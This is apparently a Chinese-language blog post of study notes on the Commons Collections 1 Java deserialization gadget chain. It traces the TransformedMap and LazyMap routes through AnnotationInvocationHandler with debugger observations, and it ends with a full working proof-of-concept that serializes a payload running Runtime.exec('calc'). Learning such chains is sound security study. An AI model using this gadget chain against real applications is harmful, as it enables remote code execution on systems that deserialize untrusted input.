Java反序列化学习_CommonsCollections_1

关键函数

ConstantTransformer

这个类在cc1当中主要的作用是获取初始的类,因为放入什么返回什么的特性很方便就可以得到想要的类。

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {  
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

InvokerTransformer

在cc1当中主要起作用的就是这个类的如下函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private InvokerTransformer(String methodName) {  
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

ChainedTransformer

这个类是将我们需要的payload拼接出来的类

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {  
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

关于transformer的拼接过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class demo1{
public static void main(String[] args) throws Exception{
//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
}
}

目标:Runtime.getRuntime().exec(command)
根据payload和上面chainedTransformer可以看出来首先是通过传入RunTime直接获取到RunClass这个类。然后再将getMethod和参数getRunTime传入,于是就得到了

1
RunTime.getMethod('getRunTime')

现在获取到的是getRunTime这个方法,但是并没有执行所以我们需要传入invoke方法并传入空参数,得到

1
2
3
RunTime.getMethod('getRunTime').invoke(null)

RunTime.getRunTime()

最后再传入exec以及提前准备好的cmd即可得到完整的反射命令执行;
其实除了这些我比较异或的还有例如Class[0]这样的参数作用是啥

1
在这个代码段中,`new Class[0]` 表示一个空的 `Class` 数组。在 Java 中,这种方式通常用于表示一个空数组,它可以用作方法调用的参数列表。在这里,`new Class[0]` 作为 `getMethod` 方法的参数,表示没有额外的参数需要传递给 `getMethod` 方法。

触发命令执行的链子

所以要寻找一个参数调用了transformers方法,然后将这个参数赋值位chainTransformer即可。也就是这里出现了cc1的分支,这里有两种路线一种是走transformermap,还有一种则是总lazymap

transformermap

走这条链的话主要涉及以下几个类
首先是可以触发transform方法的TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {  
private static final long serialVersionUID = 7023152376788900464L;
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
……
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
……
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
……
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
……
省略若干方法

transformmap这个类中的checkSetValue方法中有对transform的调用,因此只需要将valueTransformer赋值为chainTransform这个类即可,但是由于他的构造方法是protect的,无法在不同的包下new这种方法。因此我们需要考虑反射或者其他方法,这里的话比较简单,往上面看就可以发现它的decorate方法中实例化了这个类。于是我们只需要调用即可(这个方法是静态的)

1
Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

找到了可以调用transformer的方法就该寻找链子的下一个节点了,接下来的方法需要进入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
protected AbstractInputCheckedMapDecorator() {
}

protected AbstractInputCheckedMapDecorator(Map map) {
super(map);
}
……
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}
……
}

可以看到这个类和它的内部类都继承了AbstractMapEntryDecorator然后再跟进可以发现这个类只是简单重写了一些基础方法并继承了Map.Entry

1
2
3
4
5
6
public interface Map<K,V> {
interface Entry<K,V> {
这里定义了set方法。
}

}

我现在已经得到checksetValue,那么我现在需要的是控制setvalue方法的参数,然后寻找带有readObject的方法。
目前我不知道这里的setvalue的parent的是如何得到的,所以我想到直接断个点在然后跑payload就可以得到调用栈了。期间我还发现一个功能,只要在想监控的变量上断点,那么在它变化的时候就会断在那里。

首先看到我们需要关注的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
static class MapEntry extends AbstractMapEntryDecorator {  
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
}

我们需要触发的就是这里的checkSetValue,但是不知道parent怎么来的,所以直接打个断点在这个构造函数这里。然后查看调用栈的上一层可以发现,是这里调用了MapEntry,并将parent传给了它。所以我们在这里的构造函数再下一个断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
static class EntrySetIterator extends AbstractIteratorDecorator {  
private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

public Object next() {
Map.Entry entry = (Map.Entry)this.iterator.next();
return new MapEntry(entry, this.parent);
}
}

这里会来到 AbstractInputCheckedMapDecorator中的另一个内部类,由于方法比较多,这里就只贴一个构造方法。然后仅需往上一层堆栈走。

1
2
3
4
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {  
super(set);
this.parent = parent;
}

然后就可以跟到这个entrySet,然后上一层就是反序列化的起点了

1
2
3
public Set entrySet() {  
return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet());
}

这里可以看到Iterator var4 = this.memberValues.entrySet().iterator(); 这一句,这一句首先是调用了entrySet,然后再通过它得到的返回值调用iterator。这里的iterator是迭代器,用来遍历数组的,暂时先不去了解,免得给我绕晕了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {  
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}

这里的memberValues就是我们再构造函数中传入的TransFormerMap但是我这里还有不太懂,由于payload中的时对象到对象的映射但是这里构造函数时字符串到对象的映射,很不解这样子可以强转吗。

然后我们一步步跟进就知道了,从现在这里往上翻,首先时memberValues.entrySet然后向上,这里的entrySet是TransformedMap对象中没有的方法,所以他会去调用它父类中的,也就是AbstractInputCheckedMapDecorator中的。由于我们想要知道的只是parent是怎么来的,所以现在只关注第二个参数就好。可能是由于这个方法的是TransfromedMap,所以我这里调试显示的this是TransfromedMap。将它传入之后,就完成了parent的首次赋值。
image.png

上面所说的逻辑完成之后我们又会回到,这个反序列化函数。然后进入next函数,然后就到了EntrySetIterator,这个就是我们刚才赋值parent的那个内部类。这里的next方法会进入我们调试的起点,也就是MapEntry这个内部类,并且将已经初始化了的parent传入,所以这里的parent就锁定成了TransformedMap,而我们需要的也正是TransformedMap中的checkSetValue方法。
image.png
至此,整条Transformed链就走完了,至于最后的serValue的调用本来还有点疑惑传入的参数怎么控制,但是跟进后发现ConstantTransformer中返回的时已经构造好Runtime,并不会去理会这个传入的参数。

Lazymap

这里调用链前面是和transformedmap一样的,然后不同的点就在于这里lazymap是通过代理入使用了反序列化类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//        创建transformerChain  
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//获取lazyMap对象
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//通过反射获取AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

//为AnnotationInvocationHandler创建代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Object o = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

serialize(o); //定义了一个序列化的方法
unserialize("1.bin"); //定义了一个反序列化的方法

这里贴一下p神的lazymap链的后半段,这里的代理的作用简而言之就是当外部触发代理对象(这里是AnnotationInvocationHandler)方法时,会自动调用该类中的invoke方法。这里涉及到的时java中动态代理的知识,目前还只是简要的了解了这个概念,后续再深入学习一下。因为这个payload会在中途触发一次,所以我们可以先反序列化之后注释掉除了unserialize的语句然后调试。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {  
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}

建议将断点下在这里,不知道为什么idea最终也会触发底层的一下方法,从而触发代理。如果断在invoke那里就会弹多次计算机,甚至在调用栈中去查看也会弹。
image.png
但是这里调试的时候在readObject方法中代码运行的顺序实在看不懂,
然后去网上翻了一下结合payload中最后一句是将代理作为参数构造了一个AnnotationInvocationHandler对象,也就是说我跑第一遍时这里的memberValues是我设置的代理。然后我又重新去看了下动态代理,好像我能理解了,这里是只要代理执行方法,不管它代理的对象中是否有这个方法,都会去执行代理中的invoke。所以就能理解这句代码的含义了。

1
Object o = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

整个lazymap链的流程是:
首先通过反射实例化一个AnnotationInvocationHandler对象(这里初始化的对象是transform)并创建它的代理,然后再通过反射实例化一个AnnotationInvocationHandler并将他的memberValues初始化为AnnotationInvocationHandler的代理,也就是在

1
Iterator var4 = this.memberValues.entrySet().iterator();

尝试调用entrySet方法时就会触发invoke方法,理论上应该是这样(但是调试堆栈似乎不太对);可能是我理解有问题,还请知道原因的大佬斧正。
触发invoke方法后就可以去调用我们目标的get方法,继而调用Lazymap触发反序列化链。
完整代码(抄的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package com.ghh.ccs;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, InvocationTargetException {

//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//将多个Transformer对象组合成一个链
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//
// HashMap<Object,Object> hash = new HashMap<>();
// //给HashMap添加一个键值对
// hash.put("value",'b');
// //使用chainedTransformer装饰HashMap生成新的Map decorate
// Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
//
// //通过反射获取AnnotationInvocationHandler类的构造方法
// Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// //设置构造方法为可访问的
// constructor.setAccessible(true);
// //通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象o
// Object o = constructor.newInstance(Target.class, decorate);

//创建transformerChain
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//获取lazyMap对象
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//通过反射获取AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

//为AnnotationInvocationHandler创建代理
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

Object o = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

serialize(o); //定义了一个序列化的方法
unserialize("1.bin"); //定义了一个反序列化的方法
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}

}

Java反序列化学习_CommonsCollections_1
http://example.com/2024/04/12/Java反序列化学习_CommonsCollections_1/
Author
ghh
Posted on
April 12, 2024
Licensed under